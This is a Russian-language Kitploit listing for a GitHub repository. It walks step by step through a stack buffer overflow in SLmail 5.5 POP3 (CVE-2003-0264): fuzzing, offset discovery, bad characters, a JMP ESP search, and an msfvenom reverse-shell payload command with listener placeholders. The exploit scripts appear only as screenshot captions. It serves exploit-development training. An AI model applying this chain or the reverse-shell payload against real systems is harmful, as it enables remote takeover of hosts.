Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2003-0264_EXPLOIT — Переполнение буфера в Seattle Lab Mail (SLmail) 5.5 - POP3 | Kitploit
Инструменты/GitHubGitHub/vrikodar/cve-2003-0264_exploit
ЭксплуатацияШелл-кодОтладчикиФаззингТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubvrikodar/cve-2003-0264_exploit

CVE-2003-0264_EXPLOIT

Переполнение буфера в Seattle Lab Mail (SLmail) 5.5 - POP3

Репозиторий
5 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2003-0264_EXPLOIT

Переполнение буфера в Seattle Lab Mail (SLmail) 5.5 - POP3

Простое STEP-by-STEP переполнение буфера на основе STACK

1) Фаззинг приложения

На самом первом шаге мы будем фаззить приложение с помощью простого Spike-скрипта

Тем временем SLmail будет прикреплен [и запущен] к Immunity Debugger

Подробнее о Spike: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/

Здесь представлен простой Spike-скрипт с именем spike_fuzz.spk

Запустим его против приложения с помощью команды

root@kitploit:~
  line_send_tcp 192.168.1.117 110 spike_fuzz.spk

где 192.168.1.117 — IP-адрес целевой машины, на которой работает SLMail, и он работает на порту 110

Capture

Тем временем, если мы посмотрим на Immunity, то увидим, что приложение упало

Capture

2) POC для воспроизведения краха

Теперь мы создадим Python POC, который воспроизводит крах и вычисляет байты, на которых происходит сбой приложения

root@kitploit:~
           python poc_crash.py

Capture

3) Поиск смещения

Для поиска смещения мы воспользуемся msf

root@kitploit:~
      1. Сначала сгенерируем шаблон
      2. Запомним EIP
      3. Запросим этот EIP и длину с помощью MSF, чтобы найти смещение

msf-pattern_create -l 2700

Capture

В poc_offset.py мы будем использовать этот шаблон в качестве нашего буфера переполнения!

root@kitploit:~
       python poc_offset.py

Capture

На этом этапе мы также запоминаем значение EIP в Immunity, где приложение упало и остановилось

Capture

root@kitploit:~
        EIP — 39694438
        ::Для поиска смещения::
        
        msf-pattern_offset -l 2700 -q 39694438

Capture

смещение равно 2606, то есть 2606 байт до достижения EIP::: сам EIP имеет длину 4 байта

4) Управление EIP

Теперь мы попытаемся перезаписать EIP четырьмя буквами 'B' — то есть в Immunity должно отобразиться 42424242 {Hex для четырех 'B'}

root@kitploit:~
        python poc_eip_control.py

Capture

А теперь проверим Immunity

Capture

5) Поиск плохих символов

Чтобы сохранить простоту и краткость

Вы можете запустить скрипт poc_badchars.py и самостоятельно найти плохие символы

Для краткости

Это приложение имеет два плохих символа {которые также являются стандартными}. При первом запуске poc_badchars.py мы увидим, что символ \x0a вызывает проблемы, затем мы удалим его из полезной нагрузки плохих символов и запустим скрипт снова. Во второй раз мы увидим, что символ \x0d пропущен — это наш второй плохой символ, и мы удаляем его из полезной нагрузки. После этого при третьем запуске скрипта всё чисто и хорошо!

root@kitploit:~
        плохие символы: \x00\x0a\x0d
        {нулевой байт, перевод строки, возврат каретки}

        python poc_badchars.py

6) Поиск правильного модуля и адреса

Сначала мы найдем правильный модуль с помощью Mona Modules в Immunity

root@kitploit:~
              slmfc.dll — наиболее подходящий кандидат, так как на нем нет средств защиты памяти!

Capture

Теперь найдем адрес JMP ESP в этой DLL

Этот адрес будет записан в EIP, чтобы перенаправить выполнение программы на ESP, что приведет к выполнению нашего шелл-кода!

root@kitploit:~
        !mona find -s "\xff\xe4" -m slmfc.dll
        
        {\xff\xe4 — опкод, эквивалентный JMP ESP}

Capture

Из 19 адресов указателей мы выбираем первый

7) Получение оболочки

Теперь объединим всё это и получим оболочку

root@kitploit:~
              1.) Сгенерируем шелл-код {исключая плохие символы}
              2.) Добавим найденный адрес {помните про Little Endian}
              3.) Добавим буфер, обратный адрес, несколько NOP-слейдов, шелл-код
              4.) Получим оболочку

Быстро сгенерируем шелл-код с помощью msfvenom

root@kitploit:~
        msfvenom -p windows/shell_reverse_tcp LHOST=<listening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Capture

Объединим всё в файле exploit.py

Capture

Теперь запустим SLmail без Immunity и одновременно прослушиваем входящие соединения

После этого запустим финальный скрипт exploit.py!

Capture

ОТЛИЧНО, МЫ ПОЛУЧИЛИ ОБОЛОЧКУ!

Скачать инструмент